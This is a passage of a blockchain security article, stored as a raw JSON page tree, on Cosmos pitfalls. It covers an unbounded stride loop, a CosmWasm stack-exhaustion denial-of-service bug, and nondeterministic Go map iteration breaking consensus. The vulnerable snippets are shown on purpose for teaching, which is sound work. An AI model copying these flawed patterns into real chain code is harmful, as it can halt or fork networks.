(",{"type":19,"tag":168,"props":73873,"children":73874},{"style":399},[73875],{"type":24,"value":2002},{"type":19,"tag":168,"props":73877,"children":73878},{"style":825},[73879],{"type":24,"value":73880},"MsgSumWithStrideResponse",{"type":19,"tag":168,"props":73882,"children":73883},{"style":212},[73884],{"type":24,"value":471},{"type":19,"tag":168,"props":73886,"children":73887},{"style":825},[73888],{"type":24,"value":12310},{"type":19,"tag":168,"props":73890,"children":73891},{"style":212},[73892],{"type":24,"value":12250},{"type":19,"tag":168,"props":73894,"children":73895},{"class":170,"line":1055},[73896,73901,73906,73911,73915,73919],{"type":19,"tag":168,"props":73897,"children":73898},{"style":393},[73899],{"type":24,"value":73900}," sum",{"type":19,"tag":168,"props":73902,"children":73903},{"style":399},[73904],{"type":24,"value":73905}," :=",{"type":19,"tag":168,"props":73907,"children":73908},{"style":825},[73909],{"type":24,"value":73910}," uint64",{"type":19,"tag":168,"props":73912,"children":73913},{"style":212},[73914],{"type":24,"value":500},{"type":19,"tag":168,"props":73916,"children":73917},{"style":192},[73918],{"type":24,"value":1452},{"type":19,"tag":168,"props":73920,"children":73921},{"style":212},[73922],{"type":24,"value":557},{"type":19,"tag":168,"props":73924,"children":73925},{"class":170,"line":1064},[73926,73931,73935,73939,73943,73947,73951,73955,73959,73964],{"type":19,"tag":168,"props":73927,"children":73928},{"style":393},[73929],{"type":24,"value":73930}," end",{"type":19,"tag":168,"props":73932,"children":73933},{"style":399},[73934],{"type":24,"value":73905},{"type":19,"tag":168,"props":73936,"children":73937},{"style":825},[73938],{"type":24,"value":73910},{"type":19,"tag":168,"props":73940,"children":73941},{"style":212},[73942],{"type":24,"value":500},{"type":19,"tag":168,"props":73944,"children":73945},{"style":175},[73946],{"type":24,"value":6579},{"type":19,"tag":168,"props":73948,"children":73949},{"style":212},[73950],{"type":24,"value":500},{"type":19,"tag":168,"props":73952,"children":73953},{"style":393},[73954],{"type":24,"value":55430},{"type":19,"tag":168,"props":73956,"children":73957},{"style":212},[73958],{"type":24,"value":948},{"type":19,"tag":168,"props":73960,"children":73961},{"style":393},[73962],{"type":24,"value":73963},"Arr",{"type":19,"tag":168,"props":73965,"children":73966},{"style":212},[73967],{"type":24,"value":17166},{"type":19,"tag":168,"props":73969,"children":73970},{"class":170,"line":1087},[73971,73975,73980,73984,73989,73993,73998,74002,74007,74011,74016,74020,74024,74028,74032,74036,74041],{"type":19,"tag":168,"props":73972,"children":73973},{"style":419},[73974],{"type":24,"value":422},{"type":19,"tag":168,"props":73976,"children":73977},{"style":393},[73978],{"type":24,"value":73979}," idx",{"type":19,"tag":168,"props":73981,"children":73982},{"style":399},[73983],{"type":24,"value":73905},{"type":19,"tag":168,"props":73985,"children":73986},{"style":393},[73987],{"type":24,"value":73988}," msg",{"type":19,"tag":168,"props":73990,"children":73991},{"style":212},[73992],{"type":24,"value":948},{"type":19,"tag":168,"props":73994,"children":73995},{"style":393},[73996],{"type":24,"value":73997},"Start",{"type":19,"tag":168,"props":73999,"children":74000},{"style":212},[74001],{"type":24,"value":14676},{"type":19,"tag":168,"props":74003,"children":74004},{"style":393},[74005],{"type":24,"value":74006},"idx",{"type":19,"tag":168,"props":74008,"children":74009},{"style":399},[74010],{"type":24,"value":6157},{"type":19,"tag":168,"props":74012,"children":74013},{"style":393},[74014],{"type":24,"value":74015}," end",{"type":19,"tag":168,"props":74017,"children":74018},{"style":212},[74019],{"type":24,"value":14676},{"type":19,"tag":168,"props":74021,"children":74022},{"style":393},[74023],{"type":24,"value":74006},{"type":19,"tag":168,"props":74025,"children":74026},{"style":399},[74027],{"type":24,"value":12511},{"type":19,"tag":168,"props":74029,"children":74030},{"style":393},[74031],{"type":24,"value":73988},{"type":19,"tag":168,"props":74033,"children":74034},{"style":212},[74035],{"type":24,"value":948},{"type":19,"tag":168,"props":74037,"children":74038},{"style":393},[74039],{"type":24,"value":74040},"Stride",{"type":19,"tag":168,"props":74042,"children":74043},{"style":212},[74044],{"type":24,"value":691},{"type":19,"tag":168,"props":74046,"children":74047},{"class":170,"line":1096},[74048,74053,74057,74061,74065,74069,74073,74077],{"type":19,"tag":168,"props":74049,"children":74050},{"style":393},[74051],{"type":24,"value":74052}," sum",{"type":19,"tag":168,"props":74054,"children":74055},{"style":399},[74056],{"type":24,"value":12511},{"type":19,"tag":168,"props":74058,"children":74059},{"style":393},[74060],{"type":24,"value":73988},{"type":19,"tag":168,"props":74062,"children":74063},{"style":212},[74064],{"type":24,"value":948},{"type":19,"tag":168,"props":74066,"children":74067},{"style":393},[74068],{"type":24,"value":73963},{"type":19,"tag":168,"props":74070,"children":74071},{"style":212},[74072],{"type":24,"value":1152},{"type":19,"tag":168,"props":74074,"children":74075},{"style":393},[74076],{"type":24,"value":74006},{"type":19,"tag":168,"props":74078,"children":74079},{"style":212},[74080],{"type":24,"value":9217},{"type":19,"tag":168,"props":74082,"children":74083},{"class":170,"line":1105},[74084],{"type":19,"tag":168,"props":74085,"children":74086},{"style":212},[74087],{"type":24,"value":761},{"type":19,"tag":168,"props":74089,"children":74090},{"class":170,"line":1174},[74091,74095,74099,74103,74108,74113,74117,74122,74127],{"type":19,"tag":168,"props":74092,"children":74093},{"style":419},[74094],{"type":24,"value":14438},{"type":19,"tag":168,"props":74096,"children":74097},{"style":399},[74098],{"type":24,"value":4577},{"type":19,"tag":168,"props":74100,"children":74101},{"style":825},[74102],{"type":24,"value":73880},{"type":19,"tag":168,"props":74104,"children":74105},{"style":212},[74106],{"type":24,"value":74107},"{",{"type":19,"tag":168,"props":74109,"children":74110},{"style":393},[74111],{"type":24,"value":74112},"Sum",{"type":19,"tag":168,"props":74114,"children":74115},{"style":212},[74116],{"type":24,"value":12778},{"type":19,"tag":168,"props":74118,"children":74119},{"style":393},[74120],{"type":24,"value":74121},"sum",{"type":19,"tag":168,"props":74123,"children":74124},{"style":212},[74125],{"type":24,"value":74126},"}, ",{"type":19,"tag":168,"props":74128,"children":74129},{"style":382},[74130],{"type":24,"value":74131},"nil\n",{"type":19,"tag":168,"props":74133,"children":74134},{"class":170,"line":1182},[74135],{"type":19,"tag":168,"props":74136,"children":74137},{"style":212},[74138],{"type":24,"value":1326},{"type":19,"tag":20,"props":74140,"children":74141},{},[74142,74144,74149,74150,74156],{"type":24,"value":74143},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":19,"tag":27,"props":74145,"children":74147},{"className":74146},[],[74148],{"type":24,"value":74006},{"type":24,"value":4750},{"type":19,"tag":27,"props":74151,"children":74153},{"className":74152},[],[74154],{"type":24,"value":74155},"stride",{"type":24,"value":74157},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":19,"tag":20,"props":74159,"children":74160},{},[74161],{"type":24,"value":74162},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":19,"tag":20,"props":74164,"children":74165},{},[74166],{"type":24,"value":74167},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":19,"tag":20,"props":74169,"children":74170},{},[74171],{"type":24,"value":74172},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":19,"tag":7050,"props":74174,"children":74176},{"id":74175},"real-world-examples",[74177],{"type":24,"value":74178},"Real-World Examples",{"type":19,"tag":20,"props":74180,"children":74181},{},[74182],{"type":24,"value":74183},"Now, let's examine a few real-world instances.",{"type":19,"tag":20,"props":74185,"children":74186},{},[74187,74189,74195,74196,74202,74204,74210,74212,74218],{"type":24,"value":74188},"In the case of ",{"type":19,"tag":269,"props":74190,"children":74193},{"href":74191,"rel":74192},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[273],[74194],{"type":24,"value":15143},{"type":24,"value":3893},{"type":19,"tag":27,"props":74197,"children":74199},{"className":74198},[],[74200],{"type":24,"value":74201},"CosmWasm",{"type":24,"value":74203}," bug, the helper method ",{"type":19,"tag":27,"props":74205,"children":74207},{"className":74206},[],[74208],{"type":24,"value":74209},"write_to_contract",{"type":24,"value":74211}," negligently calls the untrusted Wasm function ",{"type":19,"tag":27,"props":74213,"children":74215},{"className":74214},[],[74216],{"type":24,"value":74217},"\"allocate\"",{"type":24,"value":948},{"type":19,"tag":20,"props":74220,"children":74221},{},[74222],{"type":19,"tag":269,"props":74223,"children":74226},{"href":74224,"rel":74225},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[273],[74227],{"type":24,"value":74228},"Permalink for snippet",{"type":19,"tag":158,"props":74230,"children":74232},{"code":74231,"language":362,"meta":7,"className":363,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[74233],{"type":19,"tag":27,"props":74234,"children":74235},{"__ignoreMap":7},[74236,74305,74353,74381,74410,74459,74533,74578,74601,74646,74653,74710,74729],{"type":19,"tag":168,"props":74237,"children":74238},{"class":170,"line":171},[74239,74243,74248,74252,74257,74261,74266,74270,74274,74278,74283,74287,74292,74296,74301],{"type":19,"tag":168,"props":74240,"children":74241},{"style":382},[74242],{"type":24,"value":17721},{"type":19,"tag":168,"props":74244,"children":74245},{"style":175},[74246],{"type":24,"value":74247}," write_to_contract",{"type":19,"tag":168,"props":74249,"children":74250},{"style":212},[74251],{"type":24,"value":3240},{"type":19,"tag":168,"props":74253,"children":74254},{"style":825},[74255],{"type":24,"value":74256},"A",{"type":19,"tag":168,"props":74258,"children":74259},{"style":399},[74260],{"type":24,"value":1922},{"type":19,"tag":168,"props":74262,"children":74263},{"style":825},[74264],{"type":24,"value":74265}," BackendApi",{"type":19,"tag":168,"props":74267,"children":74268},{"style":212},[74269],{"type":24,"value":471},{"type":19,"tag":168,"props":74271,"children":74272},{"style":825},[74273],{"type":24,"value":19505},{"type":19,"tag":168,"props":74275,"children":74276},{"style":399},[74277],{"type":24,"value":1922},{"type":19,"tag":168,"props":74279,"children":74280},{"style":825},[74281],{"type":24,"value":74282}," Storage",{"type":19,"tag":168,"props":74284,"children":74285},{"style":212},[74286],{"type":24,"value":471},{"type":19,"tag":168,"props":74288,"children":74289},{"style":825},[74290],{"type":24,"value":74291},"Q",{"type":19,"tag":168,"props":74293,"children":74294},{"style":399},[74295],{"type":24,"value":1922},{"type":19,"tag":168,"props":74297,"children":74298},{"style":825},[74299],{"type":24,"value":74300}," Querier",{"type":19,"tag":168,"props":74302,"children":74303},{"style":212},[74304],{"type":24,"value":4024},{"type":19,"tag":168,"props":74306,"children":74307},{"class":170,"line":198},[74308,74312,74316,74320,74325,74329,74333,74337,74341,74345,74349],{"type":19,"tag":168,"props":74309,"children":74310},{"style":393},[74311],{"type":24,"value":1266},{"type":19,"tag":168,"props":74313,"children":74314},{"style":399},[74315],{"type":24,"value":1922},{"type":19,"tag":168,"props":74317,"children":74318},{"style":399},[74319],{"type":24,"value":4577},{"type":19,"tag":168,"props":74321,"children":74322},{"style":825},[74323],{"type":24,"value":74324},"Environment",{"type":19,"tag":168,"props":74326,"children":74327},{"style":212},[74328],{"type":24,"value":3240},{"type":19,"tag":168,"props":74330,"children":74331},{"style":825},[74332],{"type":24,"value":74256},{"type":19,"tag":168,"props":74334,"children":74335},{"style":212},[74336],{"type":24,"value":471},{"type":19,"tag":168,"props":74338,"children":74339},{"style":825},[74340],{"type":24,"value":19505},{"type":19,"tag":168,"props":74342,"children":74343},{"style":212},[74344],{"type":24,"value":471},{"type":19,"tag":168,"props":74346,"children":74347},{"style":825},[74348],{"type":24,"value":74291},{"type":19,"tag":168,"props":74350,"children":74351},{"style":212},[74352],{"type":24,"value":3573},{"type":19,"tag":168,"props":74354,"children":74355},{"class":170,"line":415},[74356,74361,74365,74369,74373,74377],{"type":19,"tag":168,"props":74357,"children":74358},{"style":393},[74359],{"type":24,"value":74360}," input",{"type":19,"tag":168,"props":74362,"children":74363},{"style":399},[74364],{"type":24,"value":1922},{"type":19,"tag":168,"props":74366,"children":74367},{"style":399},[74368],{"type":24,"value":4577},{"type":19,"tag":168,"props":74370,"children":74371},{"style":212},[74372],{"type":24,"value":1152},{"type":19,"tag":168,"props":74374,"children":74375},{"style":825},[74376],{"type":24,"value":828},{"type":19,"tag":168,"props":74378,"children":74379},{"style":212},[74380],{"type":24,"value":11709},{"type":19,"tag":168,"props":74382,"children":74383},{"class":170,"line":450},[74384,74388,74392,74397,74401,74406],{"type":19,"tag":168,"props":74385,"children":74386},{"style":212},[74387],{"type":24,"value":481},{"type":19,"tag":168,"props":74389,"children":74390},{"style":399},[74391],{"type":24,"value":11203},{"type":19,"tag":168,"props":74393,"children":74394},{"style":825},[74395],{"type":24,"value":74396}," VmResult",{"type":19,"tag":168,"props":74398,"children":74399},{"style":212},[74400],{"type":24,"value":3240},{"type":19,"tag":168,"props":74402,"children":74403},{"style":825},[74404],{"type":24,"value":74405},"u32",{"type":19,"tag":168,"props":74407,"children":74408},{"style":212},[74409],{"type":24,"value":4717},{"type":19,"tag":168,"props":74411,"children":74412},{"class":170,"line":560},[74413,74417,74422,74426,74431,74435,74439,74443,74447,74451,74455],{"type":19,"tag":168,"props":74414,"children":74415},{"style":382},[74416],{"type":24,"value":385},{"type":19,"tag":168,"props":74418,"children":74419},{"style":393},[74420],{"type":24,"value":74421}," out_size",{"type":19,"tag":168,"props":74423,"children":74424},{"style":399},[74425],{"type":24,"value":402},{"type":19,"tag":168,"props":74427,"children":74428},{"style":175},[74429],{"type":24,"value":74430}," to_u32",{"type":19,"tag":168,"props":74432,"children":74433},{"style":212},[74434],{"type":24,"value":500},{"type":19,"tag":168,"props":74436,"children":74437},{"style":393},[74438],{"type":24,"value":5804},{"type":19,"tag":168,"props":74440,"children":74441},{"style":399},[74442],{"type":24,"value":948},{"type":19,"tag":168,"props":74444,"children":74445},{"style":175},[74446],{"type":24,"value":6579},{"type":19,"tag":168,"props":74448,"children":74449},{"style":212},[74450],{"type":24,"value":39441},{"type":19,"tag":168,"props":74452,"children":74453},{"style":399},[74454],{"type":24,"value":552},{"type":19,"tag":168,"props":74456,"children":74457},{"style":212},[74458],{"type":24,"value":412},{"type":19,"tag":168,"props":74460,"children":74461},{"class":170,"line":666},[74462,74466,74470,74474,74478,74482,74487,74491,74495,74499,74503,74507,74512,74516,74520,74525,74529],{"type":19,"tag":168,"props":74463,"children":74464},{"style":382},[74465],{"type":24,"value":385},{"type":19,"tag":168,"props":74467,"children":74468},{"style":393},[74469],{"type":24,"value":6600},{"type":19,"tag":168,"props":74471,"children":74472},{"style":399},[74473],{"type":24,"value":402},{"type":19,"tag":168,"props":74475,"children":74476},{"style":393},[74477],{"type":24,"value":40435},{"type":19,"tag":168,"props":74479,"children":74480},{"style":399},[74481],{"type":24,"value":948},{"type":19,"tag":168,"props":74483,"children":74484},{"style":175},[74485],{"type":24,"value":74486},"call_function1",{"type":19,"tag":168,"props":74488,"children":74489},{"style":212},[74490],{"type":24,"value":500},{"type":19,"tag":168,"props":74492,"children":74493},{"style":181},[74494],{"type":24,"value":74217},{"type":19,"tag":168,"props":74496,"children":74497},{"style":212},[74498],{"type":24,"value":471},{"type":19,"tag":168,"props":74500,"children":74501},{"style":399},[74502],{"type":24,"value":505},{"type":19,"tag":168,"props":74504,"children":74505},{"style":212},[74506],{"type":24,"value":1152},{"type":19,"tag":168,"props":74508,"children":74509},{"style":393},[74510],{"type":24,"value":74511},"out_size",{"type":19,"tag":168,"props":74513,"children":74514},{"style":399},[74515],{"type":24,"value":948},{"type":19,"tag":168,"props":74517,"children":74518},{"style":175},[74519],{"type":24,"value":12332},{"type":19,"tag":168,"props":74521,"children":74522},{"style":212},[74523],{"type":24,"value":74524},"()])",{"type":19,"tag":168,"props":74526,"children":74527},{"style":399},[74528],{"type":24,"value":552},{"type":19,"tag":168,"props":74530,"children":74531},{"style":212},[74532],{"type":24,"value":412},{"type":19,"tag":168,"props":74534,"children":74535},{"class":170,"line":694},[74536,74540,74545,74549,74554,74558,74562,74566,74570,74574],{"type":19,"tag":168,"props":74537,"children":74538},{"style":382},[74539],{"type":24,"value":385},{"type":19,"tag":168,"props":74541,"children":74542},{"style":393},[74543],{"type":24,"value":74544}," target_ptr",{"type":19,"tag":168,"props":74546,"children":74547},{"style":399},[74548],{"type":24,"value":402},{"type":19,"tag":168,"props":74550,"children":74551},{"style":175},[74552],{"type":24,"value":74553}," ref_to_u32",{"type":19,"tag":168,"props":74555,"children":74556},{"style":212},[74557],{"type":24,"value":500},{"type":19,"tag":168,"props":74559,"children":74560},{"style":399},[74561],{"type":24,"value":505},{"type":19,"tag":168,"props":74563,"children":74564},{"style":393},[74565],{"type":24,"value":6522},{"type":19,"tag":168,"props":74567,"children":74568},{"style":212},[74569],{"type":24,"value":524},{"type":19,"tag":168,"props":74571,"children":74572},{"style":399},[74573],{"type":24,"value":552},{"type":19,"tag":168,"props":74575,"children":74576},{"style":212},[74577],{"type":24,"value":412},{"type":19,"tag":168,"props":74579,"children":74580},{"class":170,"line":707},[74581,74585,74589,74593,74597],{"type":19,"tag":168,"props":74582,"children":74583},{"style":419},[74584],{"type":24,"value":9724},{"type":19,"tag":168,"props":74586,"children":74587},{"style":393},[74588],{"type":24,"value":74544},{"type":19,"tag":168,"props":74590,"children":74591},{"style":399},[74592],{"type":24,"value":682},{"type":19,"tag":168,"props":74594,"children":74595},{"style":192},[74596],{"type":24,"value":437},{"type":19,"tag":168,"props":74598,"children":74599},{"style":212},[74600],{"type":24,"value":691},{"type":19,"tag":168,"props":74602,"children":74603},{"class":170,"line":725},[74604,74608,74612,74616,74621,74625,74630,74634,74638,74642],{"type":19,"tag":168,"props":74605,"children":74606},{"style":419},[74607],{"type":24,"value":13192},{"type":19,"tag":168,"props":74609,"children":74610},{"style":825},[74611],{"type":24,"value":13197},{"type":19,"tag":168,"props":74613,"children":74614},{"style":212},[74615],{"type":24,"value":500},{"type":19,"tag":168,"props":74617,"children":74618},{"style":825},[74619],{"type":24,"value":74620},"CommunicationError",{"type":19,"tag":168,"props":74622,"children":74623},{"style":399},[74624],{"type":24,"value":888},{"type":19,"tag":168,"props":74626,"children":74627},{"style":175},[74628],{"type":24,"value":74629},"zero_address",{"type":19,"tag":168,"props":74631,"children":74632},{"style":212},[74633],{"type":24,"value":11325},{"type":19,"tag":168,"props":74635,"children":74636},{"style":399},[74637],{"type":24,"value":948},{"type":19,"tag":168,"props":74639,"children":74640},{"style":175},[74641],{"type":24,"value":12332},{"type":19,"tag":168,"props":74643,"children":74644},{"style":212},[74645],{"type":24,"value":12872},{"type":19,"tag":168,"props":74647,"children":74648},{"class":170,"line":746},[74649],{"type":19,"tag":168,"props":74650,"children":74651},{"style":212},[74652],{"type":24,"value":761},{"type":19,"tag":168,"props":74654,"children":74655},{"class":170,"line":755},[74656,74661,74665,74669,74673,74677,74681,74685,74690,74694,74698,74702,74706],{"type":19,"tag":168,"props":74657,"children":74658},{"style":175},[74659],{"type":24,"value":74660}," write_region",{"type":19,"tag":168,"props":74662,"children":74663},{"style":212},[74664],{"type":24,"value":500},{"type":19,"tag":168,"props":74666,"children":74667},{"style":399},[74668],{"type":24,"value":505},{"type":19,"tag":168,"props":74670,"children":74671},{"style":393},[74672],{"type":24,"value":33165},{"type":19,"tag":168,"props":74674,"children":74675},{"style":399},[74676],{"type":24,"value":948},{"type":19,"tag":168,"props":74678,"children":74679},{"style":175},[74680],{"type":24,"value":73461},{"type":19,"tag":168,"props":74682,"children":74683},{"style":212},[74684],{"type":24,"value":15826},{"type":19,"tag":168,"props":74686,"children":74687},{"style":393},[74688],{"type":24,"value":74689},"target_ptr",{"type":19,"tag":168,"props":74691,"children":74692},{"style":212},[74693],{"type":24,"value":471},{"type":19,"tag":168,"props":74695,"children":74696},{"style":393},[74697],{"type":24,"value":5804},{"type":19,"tag":168,"props":74699,"children":74700},{"style":212},[74701],{"type":24,"value":524},{"type":19,"tag":168,"props":74703,"children":74704},{"style":399},[74705],{"type":24,"value":552},{"type":19,"tag":168,"props":74707,"children":74708},{"style":212},[74709],{"type":24,"value":412},{"type":19,"tag":168,"props":74711,"children":74712},{"class":170,"line":1008},[74713,74717,74721,74725],{"type":19,"tag":168,"props":74714,"children":74715},{"style":825},[74716],{"type":24,"value":11779},{"type":19,"tag":168,"props":74718,"children":74719},{"style":212},[74720],{"type":24,"value":500},{"type":19,"tag":168,"props":74722,"children":74723},{"style":393},[74724],{"type":24,"value":74689},{"type":19,"tag":168,"props":74726,"children":74727},{"style":212},[74728],{"type":24,"value":557},{"type":19,"tag":168,"props":74730,"children":74731},{"class":170,"line":1025},[74732],{"type":19,"tag":168,"props":74733,"children":74734},{"style":212},[74735],{"type":24,"value":1326},{"type":19,"tag":20,"props":74737,"children":74738},{},[74739,74741,74747,74749,74754],{"type":24,"value":74740},"As users have complete control over ",{"type":19,"tag":27,"props":74742,"children":74744},{"className":74743},[],[74745],{"type":24,"value":74746},"allocate",{"type":24,"value":74748},", there is a possibility to call back ",{"type":19,"tag":27,"props":74750,"children":74752},{"className":74751},[],[74753],{"type":24,"value":74209},{"type":24,"value":74755}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":19,"tag":20,"props":74757,"children":74758},{},[74759,74761,74768],{"type":24,"value":74760},"Additional real-world examples include ",{"type":19,"tag":269,"props":74762,"children":74765},{"href":74763,"rel":74764},"https://github.com/cosmos/cosmos-sdk/issues/16676",[273],[74766],{"type":24,"value":74767},"not returning proper values for malformed txs",{"type":24,"value":948},{"type":19,"tag":36,"props":74770,"children":74772},{"id":74771},"order-was-the-dream-of-man",[74773],{"type":24,"value":74774},"Order Was the Dream of Man",{"type":19,"tag":20,"props":74776,"children":74777},{},[74778],{"type":24,"value":74779},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":19,"tag":20,"props":74781,"children":74782},{},[74783],{"type":24,"value":74784},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":19,"tag":158,"props":74786,"children":74788},{"code":74787,"language":73653,"meta":7,"className":73654,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[74789],{"type":19,"tag":27,"props":74790,"children":74791},{"__ignoreMap":7},[74792,74825,74832,74861,74898,74927,74948,74960,74997,75005,75012,75019],{"type":19,"tag":168,"props":74793,"children":74794},{"class":170,"line":171},[74795,74799,74804,74808,74812,74816,74820],{"type":19,"tag":168,"props":74796,"children":74797},{"style":382},[74798],{"type":24,"value":30229},{"type":19,"tag":168,"props":74800,"children":74801},{"style":825},[74802],{"type":24,"value":74803}," ObjectMap",{"type":19,"tag":168,"props":74805,"children":74806},{"style":382},[74807],{"type":24,"value":47151},{"type":19,"tag":168,"props":74809,"children":74810},{"style":212},[74811],{"type":24,"value":1152},{"type":19,"tag":168,"props":74813,"children":74814},{"style":825},[74815],{"type":24,"value":27137},{"type":19,"tag":168,"props":74817,"children":74818},{"style":212},[74819],{"type":24,"value":12858},{"type":19,"tag":168,"props":74821,"children":74822},{"style":825},[74823],{"type":24,"value":74824},"string\n",{"type":19,"tag":168,"props":74826,"children":74827},{"class":170,"line":198},[74828],{"type":19,"tag":168,"props":74829,"children":74830},{"emptyLinePlaceholder":14},[74831],{"type":24,"value":1093},{"type":19,"tag":168,"props":74833,"children":74834},{"class":170,"line":415},[74835,74839,74844,74848,74853,74857],{"type":19,"tag":168,"props":74836,"children":74837},{"style":382},[74838],{"type":24,"value":73789},{"type":19,"tag":168,"props":74840,"children":74841},{"style":175},[74842],{"type":24,"value":74843}," EmitEntries",{"type":19,"tag":168,"props":74845,"children":74846},{"style":212},[74847],{"type":24,"value":500},{"type":19,"tag":168,"props":74849,"children":74850},{"style":393},[74851],{"type":24,"value":74852},"objectMap",{"type":19,"tag":168,"props":74854,"children":74855},{"style":825},[74856],{"type":24,"value":74803},{"type":19,"tag":168,"props":74858,"children":74859},{"style":212},[74860],{"type":24,"value":12250},{"type":19,"tag":168,"props":74862,"children":74863},{"class":170,"line":450},[74864,74868,74872,74876,74880,74884,74889,74894],{"type":19,"tag":168,"props":74865,"children":74866},{"style":419},[74867],{"type":24,"value":422},{"type":19,"tag":168,"props":74869,"children":74870},{"style":393},[74871],{"type":24,"value":3366},{"type":19,"tag":168,"props":74873,"children":74874},{"style":212},[74875],{"type":24,"value":471},{"type":19,"tag":168,"props":74877,"children":74878},{"style":393},[74879],{"type":24,"value":36627},{"type":19,"tag":168,"props":74881,"children":74882},{"style":399},[74883],{"type":24,"value":73905},{"type":19,"tag":168,"props":74885,"children":74886},{"style":419},[74887],{"type":24,"value":74888}," range",{"type":19,"tag":168,"props":74890,"children":74891},{"style":393},[74892],{"type":24,"value":74893}," objectMap",{"type":19,"tag":168,"props":74895,"children":74896},{"style":212},[74897],{"type":24,"value":691},{"type":19,"tag":168,"props":74899,"children":74900},{"class":170,"line":560},[74901,74905,74909,74914,74918,74923],{"type":19,"tag":168,"props":74902,"children":74903},{"style":393},[74904],{"type":24,"value":23654},{"type":19,"tag":168,"props":74906,"children":74907},{"style":212},[74908],{"type":24,"value":948},{"type":19,"tag":168,"props":74910,"children":74911},{"style":393},[74912],{"type":24,"value":74913},"EventManager",{"type":19,"tag":168,"props":74915,"children":74916},{"style":212},[74917],{"type":24,"value":948},{"type":19,"tag":168,"props":74919,"children":74920},{"style":175},[74921],{"type":24,"value":74922},"EmitEvent",{"type":19,"tag":168,"props":74924,"children":74925},{"style":212},[74926],{"type":24,"value":870},{"type":19,"tag":168,"props":74928,"children":74929},{"class":170,"line":666},[74930,74935,74939,74944],{"type":19,"tag":168,"props":74931,"children":74932},{"style":393},[74933],{"type":24,"value":74934}," sdk",{"type":19,"tag":168,"props":74936,"children":74937},{"style":212},[74938],{"type":24,"value":948},{"type":19,"tag":168,"props":74940,"children":74941},{"style":175},[74942],{"type":24,"value":74943},"NewEvent",{"type":19,"tag":168,"props":74945,"children":74946},{"style":212},[74947],{"type":24,"value":870},{"type":19,"tag":168,"props":74949,"children":74950},{"class":170,"line":694},[74951,74956],{"type":19,"tag":168,"props":74952,"children":74953},{"style":181},[74954],{"type":24,"value":74955}," \"MapContext\"",{"type":19,"tag":168,"props":74957,"children":74958},{"style":212},[74959],{"type":24,"value":915},{"type":19,"tag":168,"props":74961,"children":74962},{"class":170,"line":707},[74963,74968,74972,74977,74981,74985,74989,74993],{"type":19,"tag":168,"props":74964,"children":74965},{"style":393},[74966],{"type":24,"value":74967}," sdk",{"type":19,"tag":168,"props":74969,"children":74970},{"style":212},[74971],{"type":24,"value":948},{"type":19,"tag":168,"props":74973,"children":74974},{"style":175},[74975],{"type":24,"value":74976},"NewAttribute",{"type":19,"tag":168,"props":74978,"children":74979},{"style":212},[74980],{"type":24,"value":500},{"type":19,"tag":168,"props":74982,"children":74983},{"style":393},[74984],{"type":24,"value":69643},{"type":19,"tag":168,"props":74986,"children":74987},{"style":212},[74988],{"type":24,"value":471},{"type":19,"tag":168,"props":74990,"children":74991},{"style":393},[74992],{"type":24,"value":36627},{"type":19,"tag":168,"props":74994,"children":74995},{"style":212},[74996],{"type":24,"value":4172},{"type":19,"tag":168,"props":74998,"children":74999},{"class":170,"line":725},[75000],{"type":19,"tag":168,"props":75001,"children":75002},{"style":212},[75003],{"type":24,"value":75004}," )\n",{"type":19,"tag":168,"props":75006,"children":75007},{"class":170,"line":746},[75008],{"type":19,"tag":168,"props":75009,"children":75010},{"style":212},[75011],{"type":24,"value":65807},{"type":19,"tag":168,"props":75013,"children":75014},{"class":170,"line":755},[75015],{"type":19,"tag":168,"props":75016,"children":75017},{"style":212},[75018],{"type":24,"value":761},{"type":19,"tag":168,"props":75020,"children":75021},{"class":170,"line":1008},[75022],{"type":19,"tag":168,"props":75023,"children":75024},{"style":212},[75025],{"type":24,"value":1326},{"type":19,"tag":20,"props":75027,"children":75028},{},[75029],{"type":24,"value":75030},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":19,"tag":315,"props":75032,"children":75033},{},[75034],{"type":19,"tag":20,"props":75035,"children":75036},{},[75037],{"type":24,"value":75038},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":19,"tag":20,"props":75040,"children":75041},{},[75042,75044,75049],{"type":24,"value":75043},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":19,"tag":27,"props":75045,"children":75047},{"className":75046},[],[75048],{"type":24,"value":64588},{"type":24,"value":75050}," and then fetch the values using the sorted key array before emitting them.",{"type":19,"tag":158,"props":75052,"children":75054},{"code":75053,"language":73653,"meta":7,"className":73654,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys 